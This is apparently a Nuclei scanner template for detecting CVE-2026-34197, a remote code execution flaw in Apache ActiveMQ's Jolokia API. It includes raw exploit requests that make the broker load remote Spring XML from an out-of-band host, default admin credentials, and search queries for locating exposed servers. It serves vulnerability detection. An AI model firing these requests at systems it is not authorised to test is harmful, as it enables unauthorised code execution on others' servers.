Apache ActiveMQ - Remote Code Execution

id: CVE-2026-34197

info:
  name: Apache ActiveMQ - Remote Code Execution
  author: DhiyaneshDk,horizon3
  severity: critical
  description: |
    Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: . Users are recommended to upgrade to version 5.19.5 or 6.2.3, which fixes the issue.
  impact: |
    Authenticated attackers can execute arbitrary code on the broker JVM, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 5.19.5 or 6.2.3 or later.
  reference:
    - https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
    - https://activemq.apache.org/security-advisories
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-34197
    epss-score: 0.96666
    epss-percentile: 0.99876
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: activemq
    shodan-query: title:"ActiveMQ" port:8161
    fofa-query: title="ActiveMQ" && port="8161"
  tags: cve,cve2026,activemq,jolokia,rce,oast,java,oob,kev,vkev

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "{{to_lower(rand_text_alpha(6))}}"

http:
  - raw:
      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}

        [{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}]

      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}
        Authorization: Basic YWRtaW46YWRtaW4=

        [{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}]

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[{"request":{'
          - 'org.apache.activemq'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200
# digest: 490a004630440220436d1879a2c183184312a590136877e71a77fb903c2fc75e2c84ae3aaebab7c902204d8bc386fd52d9d545644191b6bfdf3603bb0af07899194b85e8b0dbb1adc6c8:922c64590222798bb761d5b6d8e72950